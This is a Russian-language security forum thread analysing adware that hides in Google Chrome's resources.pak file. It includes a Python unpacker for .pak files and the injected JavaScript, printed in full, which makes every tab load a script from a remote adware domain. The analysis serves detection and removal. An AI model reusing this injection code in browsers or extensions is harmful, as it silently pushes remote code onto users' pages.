Новый adware встраивается непосредственно в браузер

Тема в разделе "Новости информационной безопасности", создана пользователем Severnyj, 9 апр 2015.

  1. Severnyj
    Оффлайн

    Severnyj Команда форума Супер-Модератор Ассоциация VN/VIP

    Сообщения:
    7.837
    Симпатии:
    8.591
    Очередной компьютер с жалобой на рекламу в браузере — как обычно по словам пользователя ничего не запускалось, но факт налицо — реклама вылазит почти на каждом сайте из всех щелей и подменяются поисковые запросы. Обычно большинство подобных проблем решаются сразу же за пять минут с помощью AntiSMS, затем проверяется журнал работы программы и при необходимости подчищаются хвосты вроде сторонних расширений в браузерах, но не в этом случае. Сходу не помогло ничего из обычных средств, даже антивирусы не видели в системе никаких проблем, а потому стало интересно — откуда же берётся реклама?

    Для экономии времени перед ручной работой система была быстро проверена через AVZ, Dr.Web CureIt! и Kaspersky Virus Removal Tool — все отчитались о чистоте системы в то время, как на фоне их работы показывалась та самая реклама. Что характерно, в системе были удалены все остальные браузеры, остался только Google Chrome, да и новые способы заражения встречаются не часто, поэтому на него подозрение пало в последнюю очередь.

    Первым делом был обнаружен рекламный модуль от компании Express Find с этой же легальной цифровой подписью от 8 апреля, совсем свежий. Он использовал одновременно три места автозапуска, однако после его удаления реклама чудесным образом продолжала показываться. Дальнейшее расследование показало, что она остаётся даже при создании нового профиля. Бывало раньше adware обосновывалась там, но здесь разработчики решили проявить креатив, чтобы реклама сопровождала пользователя с любым профилем и под любой учётной записью.

    Дальше была исследована сама папка, в которой Google Chrome был установлен. На вид всё хорошо — все файлы имеют цифровую подпись, ничего необычного. Однако для проверки папка была переименована и тут же установлен новый хром той же версии. Тогда обнаружилось, что файл resources.pak отличается от оригинального и проблема находится именно здесь. Ресурсы сразу же были заменены для проверки и всё подтвердилось — виновник найден. Быстрый поиск для распаковки ресурсов показал следующий скрипт на питоне:

    Код (PHP):
    import collections
    import struct
    import sys
    def ReadFile(filename, encoding):
    mode = 'rb' if encoding == 0 else 'rU'
    with open(filename, mode) as f:
    data = f.read()
    if encoding not in (0, 1):
    data = data.decode(encoding)
    return data

    PACK_FILE_VERSION = 4
    HEADER_LENGTH = 2 * 4 + 1 # Two uint32s. (file version, number of entries) and
    # one uint8 (encoding of text resources)
    def UnpackDataPack(input_file):
    """Reads a data pack file and returns a dictionary."""
    data = ReadFile(input_file, 0)
    original_data = data

    # Read the header.
    version, num_entries, encoding = struct.unpack("<IIB", data[:HEADER_LENGTH])
    if version != PACK_FILE_VERSION:
    print "Wrong file version in ", input_file
    raise WrongFileVersion

    resources = {}
    if num_entries == 0:
    return DataPackContents(resources, encoding)

    # Read the index and data.
    data = data[HEADER_LENGTH:]
    kIndexEntrySize = 2 + 4 # Each entry is a uint16 and a uint32.
    for _ in range(num_entries):
    id, offset = struct.unpack("<HI", data[:kIndexEntrySize])
    data = data[kIndexEntrySize:]
    next_id, next_offset = struct.unpack("<HI", data[:kIndexEntrySize])
    resources[id] = original_data[offset:next_offset]
    filetype = 'bin'
    fileheader = ''.join(original_data[offset:offset+1])
    print ord(fileheader[0])
    if fileheader == '<':
    filetype = 'html'
    if fileheader == '\x89':
    filetype = 'png'
    elif fileheader == '/':
    filetype = 'js'
    of = open('{0}.{1}'.format(id,filetype),'wb')
    of.write(original_data[offset:next_offset])
    of.close()
    def main():
    if len(sys.argv) > 1:
    UnpackDataPack(sys.argv[1])


    if __name__ == '__main__':
    main()


    Им были успешно распакованы две версии ресурсов и после сравнения обнаружилось, что в начало одного из скриптов adware дописал следующий блок:

    Код (PHP):
    chrome.tabs.onUpdated.addListener( function(tabId,changeInfo,tab){ chrome.tabs.executeScript(tabId,{code:" if(!window.blgcran){ window.blgcran = true; var scr=document.createElement('script'); scr.src='https://expressfind-a.akamaihd.net/ExpressFind/cr?t=BLGC&g=ca4874d9-0a3e-4215-9772-67fb5ba1c08a'; document.head.appendChild(scr);} "})});

    Таким образом действующий сайт по https с легальной цифровой подписью загружает рекламу и успешно обходит антивирусы. А новый способ внедрения позволяет методу работать даже после полного удаления adware из системы.


    Источник
     
    Последнее редактирование модератором: 9 апр 2015
    akok, E100, -SEM- и 5 другим нравится это.
  2. Охотник
    Оффлайн

    Охотник Активный пользователь

    Сообщения:
    282
    Симпатии:
    345
    Да, есть такой, все чаще вижу. Кстати его даже AdwCleaner неполностью выносит.
     
    akok нравится это.
  3. mike 1
    Оффлайн

    mike 1 Активный пользователь

    Сообщения:
    2.467
    Симпатии:
    861
    Простая переустановка браузера решит проблему.
     

Поделиться этой страницей